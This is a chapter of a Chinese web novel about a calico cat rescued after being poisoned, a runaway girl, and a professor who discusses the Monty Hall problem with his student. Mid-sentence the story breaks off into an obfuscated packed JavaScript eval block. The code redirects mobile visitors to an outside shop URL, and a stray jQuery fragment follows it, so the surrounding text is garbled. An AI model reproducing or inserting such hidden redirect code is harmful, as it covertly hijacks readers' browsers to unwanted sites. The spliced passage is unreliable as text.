清脆的鸟鸣声打破宁静。
深溪村,人们又开始了一天的忙碌。
异瞳白猫探着头一路闻过来,在墙角边找到不省人事的小满。白到发光的毛发在晨光中格外显眼。
“喵——”他贴着小满耳朵大叫。
可瘫软在地上的小猫没有任何反应。
他移动位置,继续叫唤。
“喵——喵——”
早早背着小书包也来到凉亭,她听到白猫粗粝的叫声,有些害怕,离得远远的就停下脚步。她望过去,看见了灌木丛中的三花纹路。
她也顾不上害怕了,大步跑到小满身边。
昨天还在一起玩耍的小猫,怎么一夜过去变这样了。
“你玩累了吗,还是哪里不舒服?你快醒醒啊!”她像母亲照顾生病的她那样,摸着小满的额头。
她焦急万分,小小的脸庞拧作一团。她左右看看,发现了凉亭中间洒落的鱼肉。
她捡起打翻的塑料碗。
这个碗……
“是妈妈!”她用力将碗砸在地上,朝家的方向跑去。
此刻,小满微微动了一下。
那个梦……
与其说是梦境困住了她,不如说是她不愿醒来。
只有在梦里,才能和他相守那么多年。
和他一起吃饭,一起散步,一起靠在阳台上数星星。
听他说话,看他笑,感受他掌心的温度。
还有唇瓣的柔软。
像是溺水的人突然浮出水面,她深吸一口气,睁开了双眼。
“竟然没死。”白猫在看到她苏醒后,扭头就走。
刚才小满虽然昏迷,但仍能模糊地听见他的叫声。
她朝白猫的背影,虚弱地说了声:“谢谢。”
小满晕乎乎地躺了许久。
能动了以后,第一件事就是来到溪边,又喝了许多水,冲刷着还隐隐作痛的胃。
所幸只吃了一小口,挨过一晚上,应该是挺过去了。
小满还是没什么力气,但她需要食物。
她走走停停,来到她的捕鱼点。
小溪对岸的一座房子里,传来吵闹声。
“是你在碗里放了老鼠药,你要杀死她,你是杀人犯!”尖锐的童声,来自早早。
林婉再也控制不住,不知将什么东西摔在地上。伴随“嘭”的一声,可以想象现场已经一片狼藉。
“我供你吃穿,求着别人送你进最好的小学,你就这样说我?谁叫你不好好学习,不好好吃饭,就知道跟那只破猫玩!”
“她不是破猫,她是我的朋友!”
长久的沉默过后,林婉降低了声调:“早早啊,你将来找份好工作,不能像妈妈这样,好不好?所以你要从现在开始努力,努力!好了,上学时间到了,快去凉亭吧,不要让他们等你了。”
“你说来说去,就是这一句!”
“你这孩子——”
“我不去上学了,你也不用这么辛苦了!”
“你在说什么?早早,早早!”
只听一声沉闷的关门声,早早跑出家门。
小满专心地捕着鱼。
对岸的溪面上出现了早早的倒影,她看了看这个哭红了脸的小女孩,继续埋头干活。
毕竟她现在急需补充营养。
早早也看到了她。她咬咬牙,像是下了什么决心,从上游的石板绕过来。
小满注意到她的靠近,但没太在意。哪知早早一把拎起小满的后颈肉,就像提起一只小鸡仔一样,放进书包里,火速地拉上拉链。
“这里容不下我们了。”早早抽泣着说,“我们离家出走吧。”
小满急得都快说人话了。
她已经学会捕鱼了,这里还是容得下她的啊!
“这个手环带上,监测你的心跳和血压,一有问题马上连到我的手机。如果你有事,也可以按这个键。来,你再试一次。”
陆卿已经在医院病床上躺了好几天。他受不了无事可做的日子,执意要出院。
陆卿父亲和林婷婷将他送到家。
观察期还没过。林婷婷拗不过他,但想到他愿意吃药和手术,没什么比现在更好了。她只能将注意事项一遍遍叮嘱。
“试那么多遍做什么,你真希望我用上?”陆卿笑道。
“呸呸呸!”林婷婷没好气地瞪着他。
路过客厅,她又看到桌上小满的手机。
她和陆卿父亲都默契地没有再问。
“妈,你快回去休息吧。小满包了水饺,我饿了会煮着吃的。”陆卿说得很自然,好像小满真的只是回了趟家而已。
林婷婷和丈夫互相看了看。
“你放心,我会照顾好自己,会让自己活很久很久,等你们老了换我陪在你们床前。”
印象中陆卿从没说过这么暖心的话。林婷婷感到喉头一涩,泪水就快忍不住流下,嘴上还硬着:“我才不会像你一样躺床上呢。”
林婷婷和丈夫一直待到晚上才离开。
期间她说要搬来照顾陆卿,陆卿做了很多保证,一定好好吃饭,一定不摘掉手环,林婷婷才同意他继续一个人住。
陆卿站在窗前,看着他们的车消失在巷子里。
原本如同避世一般生活在这里,不主动联系,更不去尽孝,就是希望父母忘了自己。直到某一天,自己可以了无牵挂地离去,他们也不会太难过。
谁知还是让他们操碎了心。
父亲向来寡言,可父子连心。即使他什么都不说,父亲也知道他疏离他们的用意。
而林婷婷,这个和他没有任何血缘关系的女人,在和他父亲结为夫妻那一刻,就接管了母亲所能为他付出的一切职责,更是为了他放弃生育一个属于自己的孩子。
真是可笑。看得懂那些数学理论又有什么用,这点做人的道理,到现在才明白。
这么些年,自己究竟在冷漠些什么。
月光下,陆卿眼睛泛红了。
父母走后没多久,树林里走过来一个人。
高高大大的身躯,步伐很犹豫,最终还是按响了门铃。
“进来吧。”陆卿打开门。
赵立明站在门口,还没想好说辞,神情有些意外。
上一次见面,是在那间狭小的会议室,他陷入癫狂,狼狈不堪,是陆卿挡在他面前,承受了所有人的愤怒和指责。
“是提前出院了?”陆卿像是什么都没发生,自顾自走到沙发旁坐下。
赵立明摸了摸头,硬着头皮跟了上去。他想表现得像翁军王夏耘那样,跟教授说话时自然随意。
“申请提前出院了,教授不也这样吗。”说完就慌了。
是不是说得太重了。
他眼里闪过一丝慌乱:“我不是那个意思……”
陆卿笑了。确实,他不也这样,都是不听医生的话,有病又执拗的人。
他递给赵立明一瓶果味牛奶。他一直记得赵立明喜欢喝这类甜甜带奶味的饮料。
赵立明接过牛奶,灌了好几口,神色自然了一些:“我住院的时候,看到一篇文章。”
说到最爱的数学,他彻底放松下来:“假设有三扇门,其中一扇门后面是大奖,另外两扇门后是山羊。你选择一扇门后,知道答案的主持人从剩下的两扇门中,打开一扇后面是山羊的门。这时主持人问你——要不要换到另一扇没开的门?你会如何选择?”
陆卿:“三门问题。”
赵立明点头:“大多数人凭直觉会觉得,换与不换,中奖的概率都是二分之一。但数学计算结果却是换的中奖概率大于不换,而且概率是两倍。”
陆卿没有说话,只是微微偏了一下头,目光落在茶几上的牛顿摆上。
两人讨论起数学,心底里会涌上一种纯粹的愉悦,好像进入了某种心流。
陆卿:“这个游戏最妙的地方在于,主持人打开那扇有山羊的门后,给了你一次重新选择的机会。”
“教授,我错了,对不起。”赵立明将牛奶放到茶几上后,双手紧紧攥着,好像在用全身力气克制着什么。
“如果可以重新选择,我会继续待在山沟里,不来宁大,不认识大家,我就不会做这些错事了。”
陆卿不动声色,只是目光柔软了些:“我不是你道歉的对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652493|205301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
象。况且,这也不是你的错。如果生病也是你的错,那我的错,不是更大。”
“可我给你惹麻烦了,教授。自从上次那件事后,你住院了,她也不见了。”
陆卿惊讶于他的细腻。
“不关你的事。我们本身就存在问题。”他顿了一下,整理好自己的思绪,“赵立明,你相信数学,还是相信直觉。”
“数学。”赵立明毫不犹豫。
“可我有次玩骰子,我算了数学期望,算了概率,可输得很彻底。这几天我休息的时候,想了很多,大概因为那不是一道数学题。”
陆卿在回忆和现实间切换,不自觉地皱起眉头:“现在,我又面临一个选择。逻辑上这是一件行不通的事,听起来像天方夜谭,但我的直觉,我的感情,我的所有情绪都在催我快去找她。”
随即,他的目光中产生困惑、迷茫:“这也不是一道数学题。让我骄傲的思维能力,根本无法帮我判断,我是否应该这样做。”
赵立明安静地听完,沉默了片刻。
“教授,精神疾病就是大脑皮层不受控制,放纵地去做任何一件事,不管我想做还是不想做。可您有着健康的灵魂,为什么不是想做就去做呢。”
“因为这件事不理智。”陆卿说。
“人类大脑,太习惯用直觉去判断事物,而不是客观逻辑,所以有时候直觉在欺骗我们。您认同吗?”
“认同。”
“回到三门问题里,主持人没道理帮我排除没有赢面的门,唯一的可能是在引导我们换一扇门。所以,如果这道题给我,我仍然选择不换。教授,我们习惯用逻辑去思考事物,有没有可能,逻辑有时也会欺骗我们?”
“您理性了那么多年,其实,我们可以感情用事的。”
陆卿看着他,沉默了很久,然后他释怀地笑了。
赵立明突然害羞了一下,拿起牛奶继续喝了起来。
“教授,我想加入猫咪协会,弥补我犯下的错。学习能力强并不是一个人的全部,我会努力成为一个精神健全且强大的人,就像教授这样。”
“像我这样?也未必是好事,做自己就好。”
陆卿上楼拿来一张名片:“你是我的学生,我可舍不得把你丢给霍老师。心理社团也想做一个APP,你编程也不错。想加入的话联系这个老师,去帮助有需要的人吧。”
赵立明感激地收下名片。
“我回去了,教授,您早点休息。”
陆卿送他到门口。
赵立明:“对了,在你休息的这几天,成教授辞职了。听说没有回瑞士,还是住在霍老师家里。”
陆卿:“知道了。”
赵立明走后,陆卿没有多做停留。
他已经在医院里躺了十多天,浪费的这些天,他早可以想到办法将小满挽回。
他打开橱柜,两手抓着外衣的下摆网上一拉,把居家服脱了下来。他换了一身宽松的短袖和休闲裤。
路过客厅时,顺带拿上了小满的手机。
车库里,城市越野才几天没开,就已经落了灰。此刻,车灯亮起,切开前方的黑暗。
深溪村的山路上,一个小小的身影正在夜色中前行。
早早挑了一条小路,路不好走,碎石和泥土混在一起,踩上去滑溜溜的,摔了好几次。
即使走得再艰难,书包也背得稳稳的。
两只手卡着包带,一步一步往上走。
书包里装着她的全部家当。
一瓶水壶,一本笔记本,还有一块巧克力。
以及一只三花猫。
小满被水杯硌得浑身难受。
她们这是要去哪喂……
陆卿跟着导航开了许久。
车窗外永安花园的门匾一闪而过,又往前开了一会。
导航里的男声指挥着他,进入小巷,在早些年建的那种老式居民楼之间绕来绕去。
最终,车子定在一家破旧的房子前。
门前挂了块铁牌,字迹被岁月侵蚀,想来住在这里的人随意散漫惯了。
牌子上只看得出最下面两个字。
“酒吧”。